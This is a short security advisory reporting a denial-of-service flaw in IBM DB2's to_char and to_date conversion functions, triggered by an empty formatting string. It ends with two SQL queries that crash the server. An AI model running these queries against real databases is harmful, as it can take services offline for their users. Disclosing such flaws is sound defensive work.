IBM DB2 is reported prone to a denial of service vulnerability when DTS to string conversion is carried out.

It is reported that during a DTS to string conversion a trap occurs if an empty formatting string is provided. The vulnerability is exposed in the 'to_char' and 'to_date' conversion functions.

select to_char('aaa','') from sysibm.sysdummy1
select to_date('aaa', '') from sysibm.sysdummy1
